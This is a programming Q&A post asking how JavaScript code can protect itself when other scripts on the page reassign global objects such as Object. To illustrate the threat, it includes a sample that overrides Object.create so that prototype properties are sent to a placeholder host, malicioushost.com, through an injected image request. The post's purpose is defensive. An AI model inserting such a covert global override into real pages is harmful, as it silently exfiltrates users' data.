title: Is it safe to rely on global native objects in JavaScript, particularly the Object one?
body: <p>First, I know, that relying on the <code>Array</code> constructor is usually frowned because it can be reassigned by other code, which is not in a strict mode, and instead one should use an array literal <code>[]</code>, in that case he always relies on the native, real Array (there are a couple of another implications but this is the main)</p>
  
  <p>But how to deal with the <code>Object</code>? There are some methods (<code>create</code>, <code>freeze</code> etc.) which can be accessed only through the <code>Object</code> identifier.</p>
  
  <p>I looked to source code of AngularJS and saw, that there authors rely on an assumption that these objects (<code>Object</code>, <code>Function</code>) would not be reassigned, so I've concluded that there is no better way. But I would like to listen to an opinion of more experienced people.</p>
  
  <p>So the question is: How to protect own code intended to be used abreast with other javascript code from reassigned global native objects?</p>
  
  <p><strong>UPDATE</strong></p>
  
  <p>My question is about security concerns. So it is about a situation where a developer cannot assume that:</p>
  
  <ul>
  <li>if Object is reassigned then nothing else will work properly, so don't worry</li>
  <li>the site administrator would properly test what he includes on his site</li>
  <li>if Object has some method and it returns what it is expected, then everything is ok</li>
  </ul>
  
  <p>Please, consider this situation as an example:</p>
  
  <pre><code>// the malicious code
  var oldObj = Object,
      Object = {
          create: function(proto) {
              var secretProps = 'http://malicioushost.com/?'
              for (var prop in proto) {
                  secretProps += encodeURIComponent(prop) + '=' + encodeURIComponent(proto[prop]) + '&amp;'
              }
              var secretImg = document.createElement('img')
              secretImg.src = secretProps
              document.body.appendChild(secretImg)
              return oldObj.create.call(oldObj, proto)
       }
  }
  
  // the non-malign code
  var foo = Object.create({prop1: 'foo', prop2: 'bar'})
  </code></pre>
  
  <p>here Object.create behaves exactly as the original one</p>
  
  <p>Appreciate it sincerely.</p>